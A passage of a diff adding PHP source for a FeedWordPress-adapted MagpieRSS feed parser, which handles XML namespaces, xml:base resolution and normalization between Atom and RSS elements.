+ *	access the type attribute of an RSS 2.0 enclosure, for example, you
+ *	need only access `$item['enclosure@type']`. A comma-separated list of
+ *	attributes for the enclosure element is stored in `$item['enclosure@']`.
+ *	(This syntax interacts easily with the syntax for multiple categories;
+ *	for example, the value of the `scheme` attribute for the fourth category
+ *	element on a particular item is stored in `$item['category#4@scheme']`.)
+ *
+ *	Note also that this implementation IS NOT backward-compatible with the
+ *	kludges that were used to hack in support for multiple categories and
+ *	for enclosures in upgraded versions of MagpieRSS distributed with
+ *	previous versions of FeedWordPress. If your hacks or filter plugins
+ *	depended on the old way of doing things... well, I warned you that they
+ *	might not be permanent. Sorry!
+ */
+
+define('RSS', 'RSS');
+define('ATOM', 'Atom');
+
+################################################################################
+## WordPress: make some settings WordPress-appropriate #########################
+################################################################################
+
+define('MAGPIE_USER_AGENT', 'WordPress/' . $wp_version . '(+http://www.wordpress.org)');
+
+$wp_encoding = get_settings('blog_charset');
+define('MAGPIE_OUTPUT_ENCODING', ($wp_encoding?$wp_encoding:'ISO-8859-1'));
+
+################################################################################
+## rss_parse.inc: from MagpieRSS 0.85 ##########################################
+################################################################################
+
+/**
+* Hybrid parser, and object, takes RSS as a string and returns a simple object.
+*
+* see: rss_fetch.inc for a simpler interface with integrated caching support
+*
+*/
+class MagpieRSS {
+    var $parser;
+    
+    var $current_item   = array();  // item currently being parsed
+    var $items          = array();  // collection of parsed items
+    var $channel        = array();  // hash of channel fields
+    var $textinput      = array();
+    var $image          = array();
+    var $feed_type;
+    var $feed_version;
+    var $encoding       = '';       // output encoding of parsed rss
+    
+    var $_source_encoding = '';     // only set if we have to parse xml prolog
+    
+    var $ERROR = "";
+    var $WARNING = "";
+    
+    // define some constants
+    var $_XMLNS_FAMILIAR = array (
+    	'http://www.w3.org/2005/Atom' => 'atom' /* 1.0 */,
+	'http://purl.org/atom/ns#' => 'atom' /* pre-1.0 */,
+	'http://purl.org/rss/1.0/' => 'rss' /* 1.0 */,
+	'http://backend.userland.com/RSS2' => 'rss' /* 2.0 */,
+	'http://www.w3.org/1999/02/22-rdf-syntax-ns#' => 'rdf', 
+	'http://www.w3.org/1999/xhtml' => 'xhtml',
+	'http://purl.org/dc/elements/1.1/' => 'dc',
+	'http://purl.org/dc/terms/' => 'dcterms',
+	'http://purl.org/rss/1.0/modules/content/' => 'content',
+	'http://purl.org/rss/1.0/modules/syndication/' => 'sy',
+	'http://purl.org/rss/1.0/modules/taxonomy/' => 'taxo',
+	'http://purl.org/rss/1.0/modules/dc/' => 'dc',
+	'http://wellformedweb.org/CommentAPI/' => 'wfw',
+	'http://webns.net/mvcb/' => 'admin',
+	'http://purl.org/rss/1.0/modules/annotate/' => 'annotate',
+	'http://xmlns.com/foaf/0.1/' => 'foaf',
+	'http://madskills.com/public/xml/rss/module/trackback/' => 'trackback',
+	'http://web.resource.org/cc/' => 'cc',
+	'http://search.yahoo.com/mrss' => 'media',
+    );
+
+    var $_XMLBASE_RESOLVE = array (
+    	// Atom 0.3 and 1.0 xml:base support
+	'atom' => array (
+		'link' => array ('href' => true),
+		'content' => array ('src' => true, '*xml' => true, '*html' => true),
+		'summary' => array ('*xml' => true, '*html' => true),
+		'title' => array ('*xml' => true, '*html' => true),
+		'rights' => array ('*xml' => true, '*html' => true),
+		'subtitle' => array ('*xml' => true, '*html' => true),
+		'info' => array('*xml' => true, '*html' => true),
+		'tagline' => array('*xml' => true, '*html' => true),
+		'copyright' => array ('*xml' => true, '*html' => true),
+		'generator' => array ('uri' => true, 'url' => true),
+		'uri' => array ('*content' => true),
+		'url' => array ('*content' => true),
+		'icon' => array ('*content' => true),
+		'logo' => array ('*content' => true),
+	),
+	
+	// for inline namespaced XHTML
+	'xhtml' => array (
+		'a' => array ('href' => true),
+		'applet' => array('codebase' => true),
+		'area' => array('href' => true),
+		'blockquote' => array('cite' => true),
+		'body' => array('background' => true),
+		'del' => array('cite' => true),
+		'form' => array('action' => true),
+		'frame' => array('longdesc' => true, 'src' => true),
+		'iframe' => array('longdesc' => true, 'iframe' => true, 'src' => true),
+		'head' => array('profile' => true),
+		'img' => array('longdesc' => true, 'src' => true, 'usemap' => true),
+		'input' => array('src' => true, 'usemap' => true),
+		'ins' => array('cite' => true),
+		'link' => array('href' => true),
+		'object' => array('classid' => true, 'codebase' => true, 'data' => true, 'usemap' => true),
+		'q' => array('cite' => true),
+		'script' => array('src' => true),
+	),
+    );
+
+    var $_ATOM_CONTENT_CONSTRUCTS = array(
+        'content', 'summary', 'title', /* common */
+    'info', 'tagline', 'copyright', /* Atom 0.3 */
+        'rights', 'subtitle', /* Atom 1.0 */
+    );
+    var $_XHTML_CONTENT_CONSTRUCTS = array('body', 'div');
+    var $_KNOWN_ENCODINGS    = array('UTF-8', 'US-ASCII', 'ISO-8859-1');
+
+    // parser variables, useless if you're not a parser, treat as private
+    var $stack    = array('element' => array (), 'ns' => array (), 'xmlns' => array (), 'xml:base' => array ()); // stack of XML data
+
+    var $inchannel          = false;
+    var $initem             = false;
+
+    var $incontent          = array(); // non-empty if in namespaced XML content field
+    var $xml_escape	    = false; // true when accepting namespaced XML
+    var $exclude_top        = false; // true when Atom 1.0 type="xhtml"
+
+    var $intextinput        = false;
+    var $inimage            = false;
+    var $root_namespaces    = array();
+    var $current_namespace  = false;
+    var $working_namespace_table = array();
+
+    /**
+     *  Set up XML parser, parse source, and return populated RSS object..
+     *   
+     *  @param string $source           string containing the RSS to be parsed
+     *
+     *  NOTE:  Probably a good idea to leave the encoding options alone unless
+     *         you know what you're doing as PHP's character set support is
+     *         a little weird.
+     *
+     *  NOTE:  A lot of this is unnecessary but harmless with PHP5 
+     *
+     *
+     *  @param string $output_encoding  output the parsed RSS in this character 
+     *                                  set defaults to ISO-8859-1 as this is PHP's
+     *                                  default.
+     *
+     *                                  NOTE: might be changed to UTF-8 in future
+     *                                  versions.
+     *                               
+     *  @param string $input_encoding   the character set of the incoming RSS source. 
+     *                                  Leave blank and Magpie will try to figure it
+     *                                  out.
+     *                                  
+     *                                   
+     *  @param bool   $detect_encoding  if false Magpie won't attempt to detect
+     *                                  source encoding. (caveat emptor)
+     *
+     */
+    function MagpieRSS ($source, $output_encoding='ISO-8859-1', 
+                        $input_encoding=null, $detect_encoding=true, $base_uri=null) 
+    {   
+        # if PHP xml isn't compiled in, die
+        #
+        if (!function_exists('xml_parser_create')) {
+            $this->error( "Failed to load PHP's XML Extension. " . 
+                          "http://www.php.net/manual/en/ref.xml.php",
+                           E_USER_ERROR );
+        }
+        
+        list($parser, $source) = $this->create_parser($source, 
+                $output_encoding, $input_encoding, $detect_encoding);
+        
+        
+        if (!is_resource($parser)) {
+            $this->error( "Failed to create an instance of PHP's XML parser. " .
+                          "http://www.php.net/manual/en/ref.xml.php",
+                          E_USER_ERROR );
+        }
+
+        
+        $this->parser = $parser;
+        
+        # pass in parser, and a reference to this object
+        # setup handlers
+        #
+        xml_set_object( $this->parser, $this );
+        xml_set_element_handler($this->parser, 
+                'feed_start_element', 'feed_end_element' );
+                        
+        xml_set_character_data_handler( $this->parser, 'feed_cdata' ); 
+
+	$this->stack['xml:base'] = array($base_uri);
+
+        $status = xml_parse( $this->parser, $source );
+        
+        if (! $status ) {
+            $errorcode = xml_get_error_code( $this->parser );
+            if ( $errorcode != XML_ERROR_NONE ) {
+                $xml_error = xml_error_string( $errorcode );
+                $error_line = xml_get_current_line_number($this->parser);
+                $error_col = xml_get_current_column_number($this->parser);
+                $errormsg = "$xml_error at line $error_line, column $error_col";
+
+                $this->error( $errormsg );
+            }
+        }
+        
+        xml_parser_free( $this->parser );
+
+        $this->normalize();
+    }
+    
+    function feed_start_element($p, $element, &$attributes) {
+        $el = strtolower($element);
+
+	$namespaces = end($this->stack['xmlns']);
+	$baseuri = end($this->stack['xml:base']);
+
+ 	if (isset($attributes['xml:base'])) {
+		$baseuri = Relative_URI::resolve($attributes['xml:base'], $baseuri);
+	}
+	array_push($this->stack['xml:base'], $baseuri);
+
+	// scan for xml namespace declarations. ugly ugly ugly.
+	// theoretically we could use xml_set_start_namespace_decl_handler and
+	// xml_set_end_namespace_decl_handler to handle this more elegantly, but
+	// support for these is buggy
+	foreach ($attributes as $attr => $value) {
+		if ( preg_match('/^xmlns(\:([A-Z_a-z].*))?$/', $attr, $match) ) {
+			$ns = (isset($match[2]) ? $match[2] : '');
+			$namespaces[$ns] = $value;
+		}
+	}
+
+	array_push($this->stack['xmlns'], $namespaces);
+
+        // check for a namespace, and split if found
+        // Don't munge content tags
+	$ns = $this->namespace($element);
+	if ( empty($this->incontent) ) {
+		$el = strtolower($ns['element']);
+		$this->current_namespace = $ns['effective'];
+		array_push($this->stack['ns'], $ns['effective']);
+	}
+
+	$nsc = $ns['canonical']; $nse = $ns['element'];
+ 	if ( isset($this->_XMLBASE_RESOLVE[$nsc][$nse]) ) {
+		if (isset($this->_XMLBASE_RESOLVE[$nsc][$nse]['*xml'])) {
+			$attributes['xml:base'] = $baseuri;
+		}
+		foreach ($attributes as $key => $value) {
+			if (isset($this->_XMLBASE_RESOLVE[$nsc][$nse][strtolower($key)])) {
+				$attributes[$key] = Relative_URI::resolve($attributes[$key], $baseuri);
+			}
+		}
+	}
+
+        $attrs = array_change_key_case($attributes, CASE_LOWER);
+
+        # if feed type isn't set, then this is first element of feed
+        # identify feed from root element
+        #
+        if (!isset($this->feed_type) ) {
+            if ( $el == 'rdf' ) {
+                $this->feed_type = RSS;
+		$this->root_namespaces = array('rss', 'rdf');
+                $this->feed_version = '1.0';
+            }
+            elseif ( $el == 'rss' ) {
+                $this->feed_type = RSS;
+		$this->root_namespaces = array('rss');
+                $this->feed_version = $attrs['version'];
+            }
+            elseif ( $el == 'feed' ) {
+                $this->feed_type = ATOM;
+		$this->root_namespaces = array('atom');
+                if ($ns['uri'] == 'http://www.w3.org/2005/Atom') { // Atom 1.0
+			$this->feed_version = '1.0';
+                }
+                else { // Atom 0.3, probably.
+                    $this->feed_version = $attrs['version'];
+                }
+                $this->inchannel = true;
+            }
+            return;
+        }
+
+        // if we're inside a namespaced content construct, treat tags as text
+        if ( !empty($this->incontent) ) 
+        {
+            if ((count($this->incontent) > 1) or !$this->exclude_top) {
+		  if ($ns['effective']=='xhtml') {
+			  $tag = $ns['element'];
+		  }
+		  else {
+			  $tag = $element;
+			  $xmlns = 'xmlns';
+			  if (strlen($ns['prefix'])>0) {
+				  $xmlns = $xmlns . ':' . $ns['prefix'];
+			  }
+			  $attributes[$xmlns] = $ns['uri']; // make sure it's visible
+		  }
+
+                 // if tags are inlined, then flatten
+                $attrs_str = join(' ', 
+                    array_map(array($this, 'map_attrs'), 
+                    array_keys($attributes), 
+                    array_values($attributes) )
+                  );
+                
+                  if (strlen($attrs_str) > 0) { $attrs_str = ' '.$attrs_str; }
+               $this->append_content( "<{$tag}{$attrs_str}>"  );
+            }
+            array_push($this->incontent, $ns); // stack for parsing content XML
+        }
+
+        elseif ( $el == 'channel' )  {
+            $this->inchannel = true;
+        }
+    
+        elseif ($el == 'item' or $el == 'entry' ) 
+        {
+            $this->initem = true;
+            if ( isset($attrs['rdf:about']) ) {
+                $this->current_item['about'] = $attrs['rdf:about']; 
+            }
+        }
+
+        // if we're in the default namespace of an RSS feed,
+        //  record textinput or image fields
+        elseif ( 
+            $this->feed_type == RSS and 
+            $this->current_namespace == '' and 
+            $el == 'textinput' ) 
+        {
+            $this->intextinput = true;
+        }
+        
+        elseif (
+            $this->feed_type == RSS and 
+            $this->current_namespace == '' and 
+            $el == 'image' ) 
+        {
+            $this->inimage = true;
+        }
+        
+        // set stack[0] to current element
+        else {
+            // Atom support many links per containing element.
+            // Magpie treats link elements of type rel='alternate'
+            // as being equivalent to RSS's simple link element.
+
+            $atom_link = false;
+            if ( ($ns['canonical']=='atom') and $el == 'link') {
+                $atom_link = true;
+                if (isset($attrs['rel']) and $attrs['rel'] != 'alternate') {
+                    $el = $el . "_" . $attrs['rel'];  // pseudo-element names for Atom link elements
+                }
+            }
+            # handle atom content constructs
+            elseif ( ($ns['canonical']=='atom') and in_array($el, $this->_ATOM_CONTENT_CONSTRUCTS) )
+            {
+                // avoid clashing w/ RSS mod_content
+                if ($el == 'content' ) {
+                    $el = 'atom_content';
+                }
+
+                // assume that everything accepts namespaced XML
+                // (that will pass through some non-validating feeds;
+                // but so what? this isn't a validating parser)
+                $this->incontent = array();
+                array_push($this->incontent, $ns); // start a stack
+		
+		$this->xml_escape = $this->accepts_namespaced_xml($attrs);
+
+                if ( isset($attrs['type']) and trim(strtolower($attrs['type']))=='xhtml') {
+                    $this->exclude_top = true;
+                } else {
+                    $this->exclude_top = false;
+                }
+            }
+            # Handle inline XHTML body elements --CWJ
+            elseif ($ns['effective']=='xhtml' and in_array($el, $this->_XHTML_CONTENT_CONSTRUCTS)) {
+                $this->current_namespace = 'xhtml';
+                $this->incontent = array();
+                array_push($this->incontent, $ns); // start a stack
+
+		$this->xml_escape = true;
+                $this->exclude_top = false;
+            }
+            
+            array_unshift($this->stack['element'], $el);
+            $elpath = join('_', array_reverse($this->stack['element']));
+            
+            $n = $this->element_count($elpath);
+            $this->element_count($elpath, $n+1);
+            
+            if ($n > 0) {
+                array_shift($this->stack['element']);
+                array_unshift($this->stack['element'], $el.'#'.($n+1));
+                $elpath = join('_', array_reverse($this->stack['element']));
+            }
+            
+            // this makes the baby Jesus cry, but we can't do it in normalize()
+            // because we've made the element name for Atom links unpredictable
+            // by tacking on the relation to the end. -CWJ
+            if ($atom_link and isset($attrs['href'])) {
+                $this->append($elpath, $attrs['href']);
+            }
+        
+            // add attributes
+            if (count($attrs) > 0) {
+                $this->append($elpath.'@', join(',', array_keys($attrs)));
+                foreach ($attrs as $attr => $value) {
+                    $this->append($elpath.'@'.$attr, $value);
+                }
+            }
+        }
+    }
+
+    function feed_cdata ($p, $text) {
+        if ($this->incontent) {
+		if ($this->xml_escape) { $text = htmlspecialchars($text, ENT_COMPAT, $this->encoding); }
+		$this->append_content( $text );
+        } else {
+            $current_el = join('_', array_reverse($this->stack['element']));
+            $this->append($current_el, $text);
+        }
+    }
+    
+    function feed_end_element ($p, $el) {
+	    $closer = $this->namespace($el);
+
+	    if ( $this->incontent ) {
+		    $opener = array_pop($this->incontent);
+
+		    // balance tags properly
+		    // note:  i don't think this is actually neccessary
+		    if ($opener != $closer) {
+			    array_push($this->incontent, $opener);
+			    $this->append_content("<$el />");
+		    } elseif ($this->incontent) { // are we in the content construct still?
+			    if ((count($this->incontent) > 1) or !$this->exclude_top) {
+				  if ($closer['effective']=='xhtml') {
+					  $tag = $closer['element'];
+				  }
+				  else {
+					  $tag = $el;
+				  }
+				  $this->append_content("</$tag>");
+			    }
+		    } else { // if we're done with the content construct, shift the opening of the content construct off the normal stack
+			    array_shift( $this->stack['element'] );
+		    }
+	    }
+	    elseif ($closer['effective'] == '') {
+		    $el = strtolower($closer['element']);
+		    if ( $el == 'item' or $el == 'entry' )  {
+			    $this->items[] = $this->current_item;
+			    $this->current_item = array();
+			    $this->initem = false;
+			    $this->current_category = 0;
+		    }
+		    elseif ($this->feed_type == RSS and $el == 'textinput' ) {
+			    $this->intextinput = false;
+		    }
+		    elseif ($this->feed_type == RSS and $el == 'image' ) {
+			    $this->inimage = false;
+		    }
+		    elseif ($el == 'channel' or $el == 'feed' ) {
+			    $this->inchannel = false;
+		    } else {
+			    $nsc = $closer['canonical']; $nse = $closer['element'];
+			    if (isset($this->_XMLBASE_RESOLVE[$nsc][$nse]['*content'])) {
+				    // Resolve relative URI in content of tag
+				    $this->dereference_current_element();
+			    }
+			    array_shift( $this->stack['element'] );
+		    }
+	    } else {
+		    $nsc = $closer['canonical']; $nse = strtolower($closer['element']);
+		    if (isset($this->_XMLBASE_RESOLVE[$nsc][$nse]['*content'])) {
+			    // Resolve relative URI in content of tag
+			    $this->dereference_current_element();
+		    }
+		    array_shift( $this->stack['element'] );
+	    }
+	    
+	    if ( !$this->incontent ) { // Don't munge the namespace after finishing with elements in namespaced content constructs -CWJ
+		    $this->current_namespace = array_pop($this->stack['ns']);
+	    }
+	    array_pop($this->stack['xmlns']);
+	    array_pop($this->stack['xml:base']);
+    }
+    
+	// Namespace handling functions
+	function namespace ($element) {
+		$namespaces = end($this->stack['xmlns']);
+		$ns = '';
+		if ( strpos( $element, ':' ) ) {
+			list($ns, $element) = split( ':', $element, 2);
+		}
+		
+		$uri = (isset($namespaces[$ns]) ? $namespaces[$ns] : null);
+
+		if (!is_null($uri)) {
+			$canonical = (
+				isset($this->_XMLNS_FAMILIAR[$uri])
+				? $this->_XMLNS_FAMILIAR[$uri]
+				: $uri
+			);
+		} else {
+			$canonical = $ns;
+		}
+
+		if (in_array($canonical, $this->root_namespaces)) {
+			$effective = '';
+		} else {
+			$effective = $canonical;
+		}
+
+		return array('effective' => $effective, 'canonical' => $canonical, 'prefix' => $ns, 'uri' => $uri, 'element' => $element);
+	}
+
+	// Utility functions for accessing data structure
+	
+	// for smart, namespace-aware methods...
+    	function magpie_data ($el, $method, $text = NULL) {
+		$ret = NULL;
+		if ($el) {
+			if (is_array($method)) {
+				$el = $this->{$method['key']}($el);
+				$method = $method['value'];
+			}
+
+			if ( $this->current_namespace ) {
+				if ( $this->initem ) {
+					$ret = $this->{$method} (
+						$this->current_item[ $this->current_namespace ][ $el ],
+						$text
+					);
+				}
+				elseif ($this->inchannel) {
+					$ret = $this->{$method} (
+						$this->channel[ $this->current_namespace][ $el ],
+						$text
+					);
+				}
+				elseif ($this->intextinput) {
+					$ret = $this->{$method} (
+						$this->textinput[ $this->current_namespace][ $el ],
+						$text
+					);
+				}
+				elseif ($this->inimage) {
+					$ret = $this->{$method} (
+					$this->image[ $this->current_namespace ][ $el ], $text );
+				}
+			}
+			else {
+				if ( $this->initem ) {
+					$ret = $this->{$method} (
+					$this->current_item[ $el ], $text);
+				}
+				elseif ($this->intextinput) {
+					$ret = $this->{$method} (
+					$this->textinput[ $el ], $text );
+				}
+				elseif ($this->inimage) {
+					$ret = $this->{$method} (
+					$this->image[ $el ], $text );
+				}
+				elseif ($this->inchannel) {
+					$ret = $this->{$method} (
+					$this->channel[ $el ], $text );
+				}
+			}
+		}
+		return $ret;
+	}
+	
+    function concat (&$str1, $str2="") {
+        if (!isset($str1) ) {
+            $str1="";
+        }
+        $str1 .= $str2;
+    }
+
+        function retrieve_value (&$el, $text /*ignore*/) {
+	    return $el;
+	}
+	function replace_value (&$el, $text) {
+		$el = $text;
+	}
+        function counter_key ($el) {
+	    return $el.'#';
+	}
+
+
+    function append_content($text) {
+	    $construct = reset($this->incontent);
+	    $ns = $construct['effective'];
+            
+	    // Keeping data about parent elements is necessary to
+	    // properly handle atom:source and its children elements
+	    $tag = join('_', array_reverse($this->stack['element']));
+
+	    if ( $this->initem ) {
+		if ($ns) {
+		    $this->concat( $this->current_item[$ns][$tag], $text );
+		} else {
+		    $this->concat( $this->current_item[$tag], $text );
+		}
+	    }
+	    elseif ( $this->inchannel ) {
+		if ($this->current_namespace) {
+		    $this->concat( $this->channel[$ns][$tag], $text );
+		} else {
+		    $this->concat( $this->channel[$tag], $text );
+		}
+	    }
+    }
+    
+    // smart append - field and namespace aware
+    function append($el, $text) {
+	$this->magpie_data($el, 'concat', $text);
+    }
+
+	function dereference_current_element () {
+		$el = join('_', array_reverse($this->stack['element']));
+		$base = end($this->stack['xml:base']);
+		$uri = $this->magpie_data($el, 'retrieve_value');
+		$this->magpie_data($el, 'replace_value', Relative_URI::resolve($uri, $base));
+	}
+
+    // smart count - field and namespace aware
+    function element_count ($el, $set = NULL) {
+	if (!is_null($set)) {
+		$ret = $this->magpie_data($el, array('key' => 'counter_key', 'value' => 'replace_value'), $set);
+	}
+	$ret = $this->magpie_data($el, array('key' => 'counter_key', 'value' => 'retrieve_value'));
+	return ($ret ? $ret : 0);
+    }
+
+    function normalize_enclosure (&$source, $from, &$dest, $to, $i) {
+        $id_from = $this->element_id($from, $i);
+        $id_to = $this->element_id($to, $i);
+        if (isset($source["{$id_from}@"])) {
+            foreach (explode(',', $source["{$id_from}@"]) as $attr) {
+                if ($from=='link_enclosure' and $attr=='href') { // from Atom
+                    $dest["{$id_to}@url"] = $source["{$id_from}@{$attr}"];
+                    $dest["{$id_to}"] = $source["{$id_from}@{$attr}"];
+                }
+                elseif ($from=='enclosure' and $attr=='url') { // from RSS
+                    $dest["{$id_to}@href"] = $source["{$id_from}@{$attr}"];
+                    $dest["{$id_to}"] = $source["{$id_from}@{$attr}"];
+                }
+                else {
+                    $dest["{$id_to}@{$attr}"] = $source["{$id_from}@{$attr}"];
+                }
+            }
+        }
+    }
+
+    function normalize_atom_person (&$source, $person, &$dest, $to, $i) {
+        $id = $this->element_id($person, $i);
+        $id_to = $this->element_id($to, $i);
+
+            // Atom 0.3 <=> Atom 1.0
+        if ($this->feed_version >= 1.0) { $used = 'uri'; $norm = 'url'; }
+        else { $used = 'url'; $norm = 'uri'; }
+
+        if (isset($source["{$id}_{$used}"])) {
+            $dest["{$id_to}_{$norm}"] = $source["{$id}_{$used}"];
+        }
+
+        // Atom to RSS 2.0 and Dublin Core
+        // RSS 2.0 person strings should be valid e-mail addresses if possible.
+        if (isset($source["{$id}_email"])) {
+            $rss_author = $source["{$id}_email"];
+        }
+        if (isset($source["{$id}_name"])) {
+            $rss_author = $source["{$id}_name"]
+                . (isset($rss_author) ? " <$rss_author>" : '');
+        }
+        if (isset($rss_author)) {
+            $source[$id] = $rss_author; // goes to top-level author or contributor
+        $dest[$id_to] = $rss_author; // goes to dc:creator or dc:contributor
+        }
+    }
+
+    // Normalize Atom 1.0 and RSS 2.0 categories to Dublin Core...
+    function normalize_category (&$source, $from, &$dest, $to, $i) {
+        $cat_id = $this->element_id($from, $i);
+        $dc_id = $this->element_id($to, $i);
+
+        // first normalize category elements: Atom 1.0 <=> RSS 2.0
+        if ( isset($source["{$cat_id}@term"]) ) { // category identifier
+            $source[$cat_id] = $source["{$cat_id}@term"];
+        } elseif ( $this->feed_type == RSS ) {
+            $source["{$cat_id}@term"] = $source[$cat_id];
+        }
+        
+        if ( isset($source["{$cat_id}@scheme"]) ) { // URI to taxonomy
+            $source["{$cat_id}@domain"] = $source["{$cat_id}@scheme"];
+        } elseif ( isset($source["{$cat_id}@domain"]) ) {
+            $source["{$cat_id}@scheme"] = $source["{$cat_id}@domain"];
+        }
+
+        // Now put the identifier into dc:subject
+        $dest[$dc_id] = $source[$cat_id];
+    }
+    
+    // ... or vice versa
+    function normalize_dc_subject (&$source, $from, &$dest, $to, $i) {
+        $dc_id = $this->element_id($from, $i);
+        $cat_id = $this->element_id($to, $i);
+
+        $dest[$cat_id] = $source[$dc_id];       // RSS 2.0
+        $dest["{$cat_id}@term"] = $source[$dc_id];  // Atom 1.0
+    }
+
+    // simplify the logic for normalize(). Makes sure that count of elements and
+    // each of multiple elements is normalized properly. If you need to mess
+    // with things like attributes or change formats or the like, pass it a
+    // callback to handle each element.
+    function normalize_element (&$source, $from, &$dest, $to, $via = NULL) {
+        if (isset($source[$from]) or isset($source["{$from}#"])) {
+            if (isset($source["{$from}#"])) {
+                $n = $source["{$from}#"];
+                $dest["{$to}#"] = $source["{$from}#"];
+            }
+            else { $n = 1; }
+
+            for ($i = 1; $i <= $n; $i++) {
+                if (isset($via)) { // custom callback for ninja attacks
+                    $this->{$via}($source, $from, $dest, $to, $i);
+                }
+                else { // just make it the same
+                    $from_id = $this->element_id($from, $i);
+                    $to_id = $this->element_id($to, $i);
+                    $dest[$to_id] = $source[$from_id];
+                }
+            }
+        }
+    }
+
+    function normalize () {
+        // if atom populate rss fields and normalize 0.3 and 1.0 feeds
+        if ( $this->is_atom() ) {
+		// Atom 1.0 elements <=> Atom 0.3 elements (Thanks, o brilliant wordsmiths of the Atom 1.0 standard!)
+		if ($this->feed_version < 1.0) {
+			$this->normalize_element($this->channel, 'tagline', $this->channel, 'subtitle');
+			$this->normalize_element($this->channel, 'copyright', $this->channel, 'rights');
+			$this->normalize_element($this->channel, 'modified', $this->channel, 'updated');
+		} else {
+			$this->normalize_element($this->channel, 'subtitle', $this->channel, 'tagline');
+			$this->normalize_element($this->channel, 'rights', $this->channel, 'copyright');
+			$this->normalize_element($this->channel, 'updated', $this->channel, 'modified');
+		}
+		$this->normalize_element($this->channel, 'author', $this->channel['dc'], 'creator', 'normalize_atom_person');
+		$this->normalize_element($this->channel, 'contributor', $this->channel['dc'], 'contributor', 'normalize_atom_person');
+
+		// Atom elements to RSS elements
+		$this->normalize_element($this->channel, 'subtitle', $this->channel, 'description');
+        
+		if ( isset($this->channel['logo']) ) {
+			$this->normalize_element($this->channel, 'logo', $this->image, 'url');
+			$this->normalize_element($this->channel, 'link', $this->image, 'link');
+			$this->normalize_element($this->channel, 'title', $this->image, 'title');
+		}
+
+		for ( $i = 0; $i < count($this->items); $i++) {
+			$item = $this->items[$i];
+
+			// Atom 1.0 elements <=> Atom 0.3 elements
+			if ($this->feed_version < 1.0) {
+				$this->normalize_element($item, 'modified', $item, 'updated');
+				$this->normalize_element($item, 'issued', $item, 'published');
+			} else {
+				$this->normalize_element($item, 'updated', $item, 'modified');
+				$this->normalize_element($item, 'published', $item, 'issued');
+			}
+
+			// "If an atom:entry element does not contain
+			// atom:author elements, then the atom:author elements
+			// of the contained atom:source element are considered
+			// to apply. In an Atom Feed Document, the atom:author
+			// elements of the containing atom:feed element are
+			// considered to apply to the entry if there are no
+			// atom:author elements in the locations described
+			// above." <http://atompub.org/2005/08/17/draft-ietf-atompub-format-11.html#rfc.section.4.2.1>
+			if (!isset($item["author#"])) {
+				if (isset($item["source_author#"])) { // from aggregation source
+					$source = $item;
+					$author = "source_author";
+				} elseif (isset($this->channel["author#"])) { // from containing feed
+					$source = $this->channel;
+					$author = "author";
+				} else {
+					$author = null;
+				}
+
+				if (!is_null($author)) {
+					$item["author#"] = $source["{$author}#"];
+					for ($au = 1; $au <= $item["author#"]; $au++) {
+						$id_to = $this->element_id('author', $au);
+						$id_from = $this->element_id($author, $au);
+			    
+						$item[$id_to] = $source[$id_from];
+						foreach (array('name', 'email', 'uri', 'url') as $what) {
+							if (isset($source["{$id_from}_{$what}"])) {
+								$item["{$id_to}_{$what}"] = $source["{$id_from}_{$what}"];
+							}
+						}
+					}
+				}
+			}
+
+		    // Atom elements to RSS elements
+		    $this->normalize_element($item, 'author', $item['dc'], 'creator', 'normalize_atom_person');
+		    $this->normalize_element($item, 'contributor', $item['dc'], 'contributor', 'normalize_atom_person');
+		    $this->normalize_element($item, 'summary', $item, 'description');
+		    $this->normalize_element($item, 'atom_content', $item['content'], 'encoded');
+		    $this->normalize_element($item, 'link_enclosure', $item, 'enclosure', 'normalize_enclosure');
+	
+		    // Categories
+		    if ( isset($item['category#']) ) { // Atom 1.0 categories to dc:subject and RSS 2.0 categories
+			$this->normalize_element($item, 'category', $item['dc'], 'subject', 'normalize_category');
+		    }
+		    elseif ( isset($item['dc']['subject#']) ) { // dc:subject to Atom 1.0 and RSS 2.0 categories
+			$this->normalize_element($item['dc'], 'subject', $item, 'category', 'normalize_dc_subject');
+		    }
+	
+		    // Normalized item timestamp
+		    $atom_date = (isset($item['published']) ) ? $item['published'] : $item['updated'];
+		    if ( $atom_date ) {
+			$epoch = @parse_w3cdtf($atom_date);
+			if ($epoch and $epoch > 0) {
+			    $item['date_timestamp'] = $epoch;
+			}
+		    }
+	
+		    $this->items[$i] = $item;
+		}
+        }
+        elseif ( $this->is_rss() ) {
+		// RSS elements to Atom elements
+		$this->normalize_element($this->channel, 'description', $this->channel, 'tagline'); // Atom 0.3
+		$this->normalize_element($this->channel, 'description', $this->channel, 'subtitle'); // Atom 1.0 (yay wordsmithing!)
+		$this->normalize_element($this->image, 'url', $this->channel, 'logo');
+
+		for ( $i = 0; $i < count($this->items); $i++) {
+			$item = $this->items[$i];
+        
+			// RSS elements to Atom elements
+			$this->normalize_element($item, 'description', $item, 'summary');
+			$this->normalize_element($item, 'enclosure', $item, 'link_enclosure', 'normalize_enclosure');
+			
+			// Categories
+			if ( isset($item['category#']) ) { // RSS 2.0 categories to dc:subject and Atom 1.0 categories
+			    $this->normalize_element($item, 'category', $item['dc'], 'subject', 'normalize_category');
+			}
+			elseif ( isset($item['dc']['subject#']) ) { // dc:subject to Atom 1.0 and RSS 2.0 categories
+			    $this->normalize_element($item['dc'], 'subject', $item, 'category', 'normalize_dc_subject');
+			}
+
+			// Normalized item timestamp
+			if ( $this->is_rss() == '1.0' and isset($item['dc']['date']) ) {
+			    $epoch = @parse_w3cdtf($item['dc']['date']);
+			    if ($epoch and $epoch > 0) {
+				$item['date_timestamp'] = $epoch;
+			    }
+			}
+			elseif ( isset($item['pubdate']) ) {
+			    $epoch = @strtotime($item['pubdate']);
+			    if ($epoch > 0) {
+				$item['date_timestamp'] = $epoch;
+			    }
+			}
+			
+			$this->items[$i] = $item;
+		}
+        }
+    }
+    
+    
+    function is_rss () {
+        if ( $this->feed_type == RSS ) {
+            return $this->feed_version; 
+        }
+        else {
+            return false;
+        }
+    }
+    
+    function is_atom() {
+        if ( $this->feed_type == ATOM ) {
+            return $this->feed_version;
+        }
+        else {
+            return false;
+        }
+    }
+
+    /**
+    * return XML parser, and possibly re-encoded source
+    *
+    */
+    function create_parser($source, $out_enc, $in_enc, $detect) {
+        if ( substr(phpversion(),0,1) == 5) {
+            $parser = $this->php5_create_parser($in_enc, $detect);
+        }
+        else {
+            list($parser, $source) = $this->php4_create_parser($source, $in_enc, $detect);
+        }
+        if ($out_enc) {
+            $this->encoding = $out_enc;
+            xml_parser_set_option($parser, XML_OPTION_TARGET_ENCODING, $out_enc);
+        }
+	xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, false);
+        return array($parser, $source);
+    }
+    
+    /**
